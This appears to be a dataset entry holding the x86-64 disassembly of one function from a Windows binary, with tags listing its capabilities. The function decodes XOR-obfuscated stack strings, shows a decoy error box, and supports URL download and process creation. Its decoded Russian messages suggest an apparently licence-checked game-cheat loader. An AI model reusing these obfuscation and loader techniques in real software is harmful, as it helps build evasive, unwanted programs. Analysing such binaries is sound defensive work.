Function at 0x140006f10
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Create process on windows
Download url
Encode data using xor
Query environment variable
Receive data
Set console window title

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1060]
mov eax, 0x1160
call fcn.140016620
sub rsp, rax
movaps xmmword [rsp + 0x1150], xmm6
mov rax, qword [0x140052080]
xor rax, rsp
mov qword [rbp + 0x1040], rax
xor r13d, r13d
mov dword [rbp + 0x4b8], r13d
lea rcx, [rbp + 0xbc8]
call fcn.14000b4e0
nop
mov ecx, 0x640
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x140049e8c]
xor ecx, ecx
call fcn.14001d4e4
lea rcx, [0x140049e90]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov byte [rbp + 0x478], 0xa
mov al, 0x59
mov cl, 0x53
movzx edx, al
mov r8b, 0x5e
mov r9b, 0x4f
mov r10b, 0x47
mov r11b, 0x4e
mov bl, 0x58
mov dil, 0x43
mov sil, 0x5c
movzx r14d, r9b
xor r15d, r15d
xor al, 0xa
mov byte [rbp + 0x479], al
xor cl, 0xa
mov byte [rbp + 0x47a], cl
xor dl, 0xa
mov byte [rbp + 0x47b], dl
xor r8b, 0xa
mov byte [rbp + 0x47c], r8b
xor r9b, 0xa
mov byte [rbp + 0x47d], r9b
xor r10b, 0xa
mov byte [rbp + 0x47e], r10b
xor r11b, 0xa
mov byte [rbp + 0x47f], r11b
xor bl, 0xa
mov byte [rbp + 0x480], bl
xor dil, 0xa
mov byte [rbp + 0x481], dil
xor sil, 0xa
mov byte [rbp + 0x482], sil
xor r14b, 0xa
mov byte [rbp + 0x483], r14b
mov byte [rbp + 0x484], r15b
mov r8d, 0x104
lea rdx, [rbp + 0xf30]
lea rcx, [rbp + 0x479]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x140007212
movdqa xmm0, xmmword [0x14004a2a0]
movdqu xmmword [rbp + 0x3a8], xmm0
movdqa xmm1, xmmword [0x14004a360]
movdqu xmmword [rbp + 0x3b8], xmm1
movdqa xmm0, xmmword [str.kjiajp_revmefha]
movdqu xmmword [rbp + 0x3c8], xmm0
mov ecx, r13d
nop
movzx eax, byte [rbp + 0x3a8]
xor byte [rbp + rcx + 0x3a9], al
movzx eax, byte [rbp + 0x3a8]
xor byte [rbp + rcx + 0x3aa], al
movzx eax, byte [rbp + 0x3a8]
xor byte [rbp + rcx + 0x3ab], al
movzx eax, byte [rbp + 0x3a8]
xor byte [rbp + rcx + 0x3ac], al
movzx eax, byte [rbp + 0x3a8]
xor byte [rbp + rcx + 0x3ad], al
movzx eax, byte [rbp + 0x3a8]
xor byte [rbp + rcx + 0x3ae], al
movzx eax, byte [rbp + 0x3a8]
xor byte [rbp + rcx + 0x3af], al
movzx eax, byte [rbp + 0x3a8]
xor byte [rbp + rcx + 0x3b0], al
movzx eax, byte [rbp + 0x3a8]
xor byte [rbp + rcx + 0x3b1], al
movzx eax, byte [rbp + 0x3a8]
xor byte [rbp + rcx + 0x3b2], al
movzx eax, byte [rbp + 0x3a8]
xor byte [rbp + rcx + 0x3b3], al
movzx eax, byte [rbp + 0x3a8]
xor byte [rbp + rcx + 0x3b4], al
movzx eax, byte [rbp + 0x3a8]
xor byte [rbp + rcx + 0x3b5], al
movzx eax, byte [rbp + 0x3a8]
xor byte [rbp + rcx + 0x3b6], al
movzx eax, byte [rbp + 0x3a8]
xor byte [rbp + rcx + 0x3b7], al
movzx eax, byte [rbp + 0x3a8]
xor byte [rbp + rcx + 0x3b8], al
movzx eax, byte [rbp + 0x3a8]
xor byte [rbp + rcx + 0x3b9], al
movzx eax, byte [rbp + 0x3a8]
xor byte [rbp + rcx + 0x3ba], al
movzx eax, byte [rbp + 0x3a8]
xor byte [rbp + rcx + 0x3bb], al
movzx eax, byte [rbp + 0x3a8]
xor byte [rbp + rcx + 0x3bc], al
movzx eax, byte [rbp + 0x3a8]
xor byte [rbp + rcx + 0x3bd], al
movzx eax, byte [rbp + 0x3a8]
xor byte [rbp + rcx + 0x3be], al
movzx eax, byte [rbp + 0x3a8]
xor byte [rbp + rcx + 0x3bf], al
add rcx, 0x17
cmp rcx, 0x2e
jb 0x1400070a0
mov byte [rbp + 0x3d7], r15b
lea rdx, [rbp + 0x3a9]
lea rcx, [0x140053670]
call fcn.14000f790
mov rcx, rax
call fcn.14000fa40
mov byte [rbp + 0x468], 0x72
mov al, 0x21
mov cl, 0xb
mov dl, 1
mov r9b, 6
mov r10b, 0x17
mov r11b, 0x1f
mov bl, 0x20
mov dil, 0x1d
movzx esi, dil
movzx r14d, r9b
xor r8d, r8d
xor al, 0x72
mov byte [rbp + 0x469], al
xor cl, 0x72
mov byte [rbp + 0x46a], cl
xor dl, 0x72
mov byte [rbp + 0x46b], dl
xor r9b, 0x72
mov byte [rbp + 0x46c], r9b
xor r10b, 0x72
mov byte [rbp + 0x46d], r10b
xor r11b, 0x72
mov byte [rbp + 0x46e], r11b
xor bl, 0x72
mov byte [rbp + 0x46f], bl
xor dil, 0x72
mov byte [rbp + 0x470], dil
xor sil, 0x72
mov byte [rbp + 0x471], sil
xor r14b, 0x72
mov byte [rbp + 0x472], r14b
mov byte [rbp + 0x473], r8b
mov r8d, 0x104
lea rdx, [rbp + 0xe20]
lea rcx, [rbp + 0x469]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x140007303
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_EnableWindow]
mov r9d, 0x10
lea r8, str.Syntax_error
lea rdx, str.ID:_LNK1120
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 1
call qword [sym.imp.USER32.dll_EnableWindow]
mov dword [rbp + 0xba0], 8
mov dword [rbp + 0xba4], 0x20
lea rcx, [rbp + 0xba0]
call qword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov byte [rbp + 0x3f8], 0x77
mov al, 0x2b
mov cl, 0x10
mov dl, 0x12
mov r8b, 3
mov r9b, 0x1b
mov r10b, 0x59
mov r11b, 0x1e
mov bl, 0x13
xor edi, edi
xor al, 0x77
mov byte [rbp + 0x3f9], al
xor cl, 0x77
mov byte [rbp + 0x3fa], cl
xor dl, 0x77
mov byte [rbp + 0x3fb], dl
xor r8b, 0x77
mov byte [rbp + 0x3fc], r8b
xor r9b, 0x77
mov byte [rbp + 0x3fd], r9b
xor r10b, 0x77
mov byte [rbp + 0x3fe], r10b
xor r11b, 0x77
mov byte [rbp + 0x3ff], r11b
xor bl, 0x77
mov byte [rbp + 0x400], bl
mov byte [rbp + 0x401], dil
lea rdx, [rbp + 0xe20]
lea rcx, [rbp + 0x780]
call fcn.140001ad0
nop
lea rcx, [rbp + 0x3f9]
mov rsi, 0xffffffffffffffff
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rcx + r8], 0
jne 0x1400073c0
lea rdx, [rbp + 0x3f9]
mov rcx, rax
call fcn.140001c40
mov rdx, rax
lea rcx, [rbp + 0xdc0]
call fcn.140001aa0
nop
lea rcx, [rbp + 0x780]
call fcn.140001a40
mov r8d, 0x20
lea rdx, [rbp + 0xdc0]
lea rcx, [rbp + 0xda0]
call fcn.1400058c0
nop
mov byte [rbp + 0x3d8], 8
mov al, 0x54
mov cl, 0x4b
mov dl, 0x6d
mov r8b, 0x64
mov r9b, 0x63
mov r10b, 0x69
xor r11d, r11d
xor al, 8
mov byte [rbp + 0x3d9], al
xor cl, 8
mov byte [rbp + 0x3da], cl
xor dl, 8
mov byte [rbp + 0x3db], dl
xor r8b, 8
mov byte [rbp + 0x3dc], r8b
xor r9b, 8
mov byte [rbp + 0x3dd], r9b
xor r10b, 8
mov byte [rbp + 0x3de], r10b
mov byte [rbp + 0x3df], r11b
lea rdx, [rbp + 0xf30]
lea rcx, [rbp + 0x7a0]
call fcn.140001ad0
nop
lea rcx, [rbp + 0x3d9]
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rcx + r8], 0
jne 0x140007490
lea rdx, [rbp + 0x3d9]
mov rcx, rax
call fcn.140001c40
mov rdx, rax
lea rcx, [rbp + 0xcf0]
call fcn.140001aa0
nop
lea rcx, [rbp + 0x7a0]
call fcn.140001a40
mov byte [rbp + 0x3e0], 0x49
mov al, 0x15
mov cl, 0xa
mov dl, 0x2c
mov r8b, 0x25
mov r9b, 0x22
mov r10b, 0x28
xor r11d, r11d
xor al, 0x49
mov byte [rbp + 0x3e1], al
xor cl, 0x49
mov byte [rbp + 0x3e2], cl
xor dl, 0x49
mov byte [rbp + 0x3e3], dl
xor r8b, 0x49
mov byte [rbp + 0x3e4], r8b
xor r9b, 0x49
mov byte [rbp + 0x3e5], r9b
xor r10b, 0x49
mov byte [rbp + 0x3e6], r10b
mov byte [rbp + 0x3e7], r11b
lea rdx, [rbp + 0xe20]
lea rcx, [rbp + 0x7c0]
call fcn.140001ad0
nop
lea rcx, [rbp + 0x3e1]
mov r8, rsi
nop
inc r8
cmp byte [rcx + r8], 0
jne 0x140007540
lea rdx, [rbp + 0x3e1]
mov rcx, rax
call fcn.140001c40
mov rdx, rax
lea rcx, [rbp + 0xba8]
call fcn.140001aa0
nop
lea rcx, [rbp + 0x7c0]
call fcn.140001a40
mov byte [rbp + 0x408], 0x6a
mov al, 0x36
xor cl, cl
mov dl, 0xc
mov r8b, 0x18
mov r9b, 0x47
mov r10b, 0xe
mov r11b, 0xb
mov bl, 0x1e
movzx edi, r11b
xor r14d, r14d
xor al, 0x6a
mov byte [rbp + 0x409], al
xor cl, 0x6a
mov byte [rbp + 0x40a], cl
xor dl, 0x6a
mov byte [rbp + 0x40b], dl
xor r8b, 0x6a
mov byte [rbp + 0x40c], r8b
xor r9b, 0x6a
mov byte [rbp + 0x40d], r9b
xor r10b, 0x6a
mov byte [rbp + 0x40e], r10b
xor r11b, 0x6a
mov byte [rbp + 0x40f], r11b
xor bl, 0x6a
mov byte [rbp + 0x410], bl
xor dil, 0x6a
mov byte [rbp + 0x411], dil
mov byte [rbp + 0x412], r14b
lea rdx, [rbp + 0xba8]
lea rcx, [rbp + 0x7e0]
call fcn.140001b10
nop
lea rcx, [rbp + 0x409]
mov r8, rsi
inc r8
cmp byte [rcx + r8], 0
jne 0x140007616
lea rdx, [rbp + 0x409]
mov rcx, rax
call fcn.140001c40
mov rdx, rax
lea rcx, [rbp + 0xc90]
call fcn.140001aa0
nop
lea rcx, [rbp + 0x7e0]
call fcn.140001a40
mov byte [rbp + 0x3e8], 0x58
mov al, 4
mov cl, 0x36
mov dl, 0x39
mov r8b, 0x2c
mov r9b, 0x31
mov r10b, 0x2e
mov r11b, 0x3d
mov bl, 0x2b
xor edi, edi
xor al, 0x58
mov byte [rbp + 0x3e9], al
xor cl, 0x58
mov byte [rbp + 0x3ea], cl
xor dl, 0x58
mov byte [rbp + 0x3eb], dl
xor r8b, 0x58
mov byte [rbp + 0x3ec], r8b
xor r9b, 0x58
mov byte [rbp + 0x3ed], r9b
xor r10b, 0x58
mov byte [rbp + 0x3ee], r10b
xor r11b, 0x58
mov byte [rbp + 0x3ef], r11b
xor bl, 0x58
mov byte [rbp + 0x3f0], bl
mov byte [rbp + 0x3f1], dil
lea rdx, [rbp + 0xba8]
lea rcx, [rbp + 0x800]
call fcn.140001b10
nop
lea rcx, [rbp + 0x3e9]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rcx + r8], 0
jne 0x1400076e0
lea rdx, [rbp + 0x3e9]
mov rcx, rax
call fcn.140001c40
mov rdx, rax
lea rcx, [rbp + 0xc70]
call fcn.140001aa0
nop
lea rcx, [rbp + 0x800]
call fcn.140001a40
lea rdx, [rbp + 0xcf0]
lea rcx, [rbp + 0xbc8]
call fcn.1400048b0
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rbx, rax
mov qword [rbp + 0xbf0], 0x54
mov qword [rbp + 0xbf8], 0xe0000
mov r14d, 0xe
mov dword [rbp + 0xc00], 0x190
lea r8, str.Consolas
lea edx, [r14 + 0x12]
lea rcx, [rbp + 0xc04]
call fcn.14001c8c0
lea r8, [rbp + 0xbf0]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetCurrentConsoleFontEx]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rbx, rax
mov dword [rbp + 0xb80], r13d
mov dword [rbp + 0xb84], 0x140066
lea r8, [rbp + 0xb80]
lea edx, [r14 - 0xd]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleWindowInfo]
mov dword [rbp + 0x4b8], 0x23290067
mov edx, dword [rbp + 0x4b8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
call fcn.140001970
call fcn.140005e20
lea rcx, [rbp + 0xbc8]
call fcn.1400047f0
test al, al
je 0x14000b1fb
lea rax, [rbp + 0x4f8]
mov qword [rbp + 0x4b8], rax
movdqa xmm1, xmmword [0x14004a2d0]
movdqu xmmword [rbp + 0x118], xmm1
movdqa xmm2, xmmword [0x14004a2e0]
movdqu xmmword [rbp + 0x128], xmm2
mov dl, 0x72
mov r8b, 0x60
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x119], al
xor byte [rbp + 0x11a], cl
xor byte [rbp + 0x11b], cl
xor byte [rbp + 0x11c], cl
xor byte [rbp + 0x11d], cl
xor byte [rbp + 0x11e], cl
xor byte [rbp + 0x11f], cl
xor byte [rbp + 0x120], cl
xor byte [rbp + 0x121], cl
xor byte [rbp + 0x122], cl
xor byte [rbp + 0x123], cl
xor byte [rbp + 0x124], cl
xor byte [rbp + 0x125], cl
xor byte [rbp + 0x126], cl
xor byte [rbp + 0x127], cl
movd eax, xmm2
xor al, cl
mov byte [rbp + 0x128], al
xor byte [rbp + 0x129], cl
xor byte [rbp + 0x12a], cl
xor byte [rbp + 0x12b], cl
xor byte [rbp + 0x12c], cl
xor byte [rbp + 0x12d], cl
xor byte [rbp + 0x12e], cl
xor byte [rbp + 0x12f], cl
xor byte [rbp + 0x130], cl
xor byte [rbp + 0x131], cl
xor byte [rbp + 0x132], cl
xor byte [rbp + 0x133], cl
xor byte [rbp + 0x134], cl
xor byte [rbp + 0x135], cl
xor byte [rbp + 0x136], cl
xor byte [rbp + 0x137], cl
xor dl, cl
mov byte [rbp + 0x138], dl
xor r8b, cl
mov byte [rbp + 0x139], r8b
mov byte [rbp + 0x13a], 0
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0x4f8]
call fcn.140001cf0
nop
lea rax, [rbp + 0x119]
inc rsi
cmp byte [rax + rsi], 0
jne 0x140007927
mov r8, rsi
lea rdx, [rbp + 0x119]
lea rcx, [rbp + 0x4f8]
call fcn.140001d10
nop
lea r8, [rbp + 0x4f8]
lea rdx, [rbp + 0x820]
lea rcx, [rbp + 0xbc8]
call fcn.140004120
mov rdx, rax
lea rcx, [rbp + 0xbc8]
call fcn.140012ac0
movzx ebx, al
lea rcx, [rbp + 0x820]
call fcn.140001a40
test bl, bl
jne 0x140008056
mov byte [rbp + 0x90], 0x4f
mov dl, 0xa
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0x91], al
mov dl, 0xa
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0x92], al
mov dl, 0xa
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0x93], al
mov dl, 0x20
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0x94], al
mov dl, 0xce
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0x95], al
mov dl, 0xf8
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0x96], al
mov dl, 0xe8
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0x97], al
mov dl, 0xe1
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0x98], al
mov dl, 0xea
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0x99], al
mov dl, 0xe0
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0x9a], al
mov dl, 0x3a
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0x9b], al
mov dl, 0x20
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0x9c], al
mov dl, 0xce
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0x9d], al
mov dl, 0xe1
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0x9e], al
mov dl, 0xed
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0x9f], al
mov dl, 0xe0
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xa0], al
mov dl, 0xf0
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xa1], al
mov dl, 0xf3
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xa2], al
mov dl, 0xe6
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xa3], al
mov dl, 0xe5
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xa4], al
mov dl, 0xed
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xa5], al
mov dl, 0xe0
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xa6], al
mov dl, 0x20
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xa7], al
mov dl, 0xed
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xa8], al
mov dl, 0xee
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xa9], al
mov dl, 0xe2
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xaa], al
mov dl, 0xe0
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xab], al
mov dl, 0xff
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xac], al
mov dl, 0x20
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xad], al
mov dl, 0xe2
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xae], al
mov dl, 0xe5
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xaf], al
mov dl, 0xf0
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xb0], al
mov dl, 0xf1
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xb1], al
mov dl, 0xe8
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xb2], al
mov dl, 0xff
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xb3], al
mov dl, 0x20
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xb4], al
mov dl, 0xef
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xb5], al
mov dl, 0xf0
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xb6], al
mov dl, 0xee
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xb7], al
mov dl, 0xe3
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xb8], al
mov dl, 0xf0
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xb9], al
mov dl, 0xe0
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xba], al
mov dl, 0xec
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xbb], al
mov dl, 0xec
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xbc], al
mov dl, 0xfb
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xbd], al
mov dl, 0xa
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xbe], al
mov dl, 0xa
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xbf], al
mov dl, 0x20
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xc0], al
mov dl, 0xcb
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xc1], al
mov dl, 0xee
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xc2], al
mov dl, 0xf3
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xc3], al
mov dl, 0xe4
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xc4], al
mov dl, 0xe5
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xc5], al
mov dl, 0xf0
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xc6], al
mov dl, 0x20
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xc7], al
mov dl, 0xe7
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xc8], al
mov dl, 0xe0
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xc9], al
mov dl, 0xea
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xca], al
mov dl, 0xf0
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xcb], al
mov dl, 0xee
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xcc], al
mov dl, 0xe5
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xcd], al
mov dl, 0xf2
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xce], al
mov dl, 0xf1
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xcf], al
mov dl, 0xff
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xd0], al
mov dl, 0x20
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xd1], al
mov dl, 0xf7
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xd2], al
mov dl, 0xe5
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xd3], al
mov dl, 0xf0
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xd4], al
mov dl, 0xe5
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xd5], al
mov dl, 0xe7
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xd6], al
mov dl, 0x20
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xd7], al
mov dl, 0x35
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xd8], al
mov dl, 0x20
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xd9], al
mov dl, 0xf1
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xda], al
mov dl, 0xe5
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xdb], al
mov dl, 0xea
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xdc], al
mov dl, 0xf3
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xdd], al
mov dl, 0xed
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xde], al
mov dl, 0xe4
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xdf], al
mov dl, 0xa
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
mov byte [rbp + 0xe0], al
xor eax, eax
mov byte [rbp + 0xe1], al
nop word [rax + rax]
mov rdx, r13
lea rcx, [rbp + 0x91]
call fcn.14000b630
movzx edx, byte [rax]
lea rcx, [rbp + 0x90]
call fcn.14000b4d0
movzx ebx, al
mov rdx, r13
lea rcx, [rbp + 0x91]
call fcn.14000b630
mov byte [rax], bl
inc r13
cmp r13, 0x50
jb 0x140007fe0
mov edx, 0x50
lea rcx, [rbp + 0x91]
call fcn.14000b630
mov byte [rax], 0
lea rcx, [rbp + 0x91]
call fcn.14000b620
mov rcx, rax
call fcn.140002580
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call fcn.14001d1fc
int3
mov dword [rbp + 0x4d8], r13d
lea rdx, [rbp + 0x4d8]
lea rcx, [0x14004a0a8]
call fcn.140010410
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [rbp - 0x78], 0x5e
mov dl, 0xa
lea rcx, [rbp - 0x78]
call fcn.14000b4d0
mov byte [rbp - 0x77], al
mov dl, 0xa
lea rcx, [rbp - 0x78]
call fcn.14000b4d0
mov byte [rbp - 0x76], al
mov dl, 0x20
lea rcx, [rbp - 0x78]
call fcn.14000b4d0
mov byte [rbp - 0x75], al
mov dl, 0xc2
lea rcx, [rbp - 0x78]
call fcn.14000b4d0
mov byte [rbp - 0x74], al
mov dl, 0xe0
lea rcx, [rbp - 0x78]
call fcn.14000b4d0
mov byte [rbp - 0x73], al
mov dl, 0xf8
lea rcx, [rbp - 0x78]
call fcn.14000b4d0
mov byte [rbp - 0x72], al
mov dl, 0x20
lea rcx, [rbp - 0x78]
call fcn.14000b4d0
mov byte [rbp - 0x71], al
mov dl, 0xf5
lea rcx, [rbp - 0x78]
call fcn.14000b4d0
mov byte [rbp - 0x70], al
mov dl, 0xe2
lea rcx, [rbp - 0x78]
call fcn.14000b4d0
mov byte [rbp - 0x6f], al
mov dl, 0xe8
lea rcx, [rbp - 0x78]
call fcn.14000b4d0
mov byte [rbp - 0x6e], al
mov dl, 0xe4
lea rcx, [rbp - 0x78]
call fcn.14000b4d0
mov byte [rbp - 0x6d], al
mov dl, 0x3a
lea rcx, [rbp - 0x78]
call fcn.14000b4d0
mov byte [rbp - 0x6c], al
mov dl, 0x20
lea rcx, [rbp - 0x78]
call fcn.14000b4d0
mov byte [rbp - 0x6b], al
xor eax, eax
mov byte [rbp - 0x6a], al
mov rdi, r13
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp - 0x77]
call fcn.14000b630
movzx edx, byte [rax]
lea rcx, [rbp - 0x78]
call fcn.14000b4d0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp - 0x77]
call fcn.14000b630
mov byte [rax], bl
inc rdi
cmp rdi, 0xd
jb 0x140008140
mov edx, 0xd
lea rcx, [rbp - 0x77]
call fcn.14000b630
mov byte [rax], 0
lea rcx, [rbp - 0x77]
call fcn.14000b620
mov rdx, rax
lea rcx, [0x140053670]
call fcn.14000f790
mov rcx, rax
lea rdx, [rbp + 0xda0]
call fcn.140001cd0
mov ecx, 5
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [rbp - 0x48], 1
mov dl, 0xa
lea rcx, [rbp - 0x48]
call fcn.14000b4d0
mov byte [rbp - 0x47], al
mov dl, 0x20
lea rcx, [rbp - 0x48]
call fcn.14000b4d0
mov byte [rbp - 0x46], al
mov dl, 0xd7
lea rcx, [rbp - 0x48]
call fcn.14000b4d0
mov byte [rbp - 0x45], al
mov dl, 0xe8
lea rcx, [rbp - 0x48]
call fcn.14000b4d0
mov byte [rbp - 0x44], al
mov dl, 0xf2
lea rcx, [rbp - 0x48]
call fcn.14000b4d0
mov byte [rbp - 0x43], al
mov dl, 0x20
lea rcx, [rbp - 0x48]
call fcn.14000b4d0
mov byte [rbp - 0x42], al
mov dl, 0xe0
lea rcx, [rbp - 0x48]
call fcn.14000b4d0
mov byte [rbp - 0x41], al
mov dl, 0xea
lea rcx, [rbp - 0x48]
call fcn.14000b4d0
mov byte [rbp - 0x40], al
mov dl, 0xf2
lea rcx, [rbp - 0x48]
call fcn.14000b4d0
mov byte [rbp - 0x3f], al
mov dl, 0xe8
lea rcx, [rbp - 0x48]
call fcn.14000b4d0
mov byte [rbp - 0x3e], al
mov dl, 0xe2
lea rcx, [rbp - 0x48]
call fcn.14000b4d0
mov byte [rbp - 0x3d], al
mov dl, 0xe5
lea rcx, [rbp - 0x48]
call fcn.14000b4d0
mov byte [rbp - 0x3c], al
mov dl, 0xed
lea rcx, [rbp - 0x48]
call fcn.14000b4d0
mov byte [rbp - 0x3b], al
mov dl, 0x20
lea rcx, [rbp - 0x48]
call fcn.14000b4d0
mov byte [rbp - 0x3a], al
mov dl, 0xe4
lea rcx, [rbp - 0x48]
call fcn.14000b4d0
mov byte [rbp - 0x39], al
mov dl, 0xee
lea rcx, [rbp - 0x48]
call fcn.14000b4d0
mov byte [rbp - 0x38], al
mov dl, 0x20
lea rcx, [rbp - 0x48]
call fcn.14000b4d0
mov byte [rbp - 0x37], al
xor eax, eax
mov byte [rbp - 0x36], al
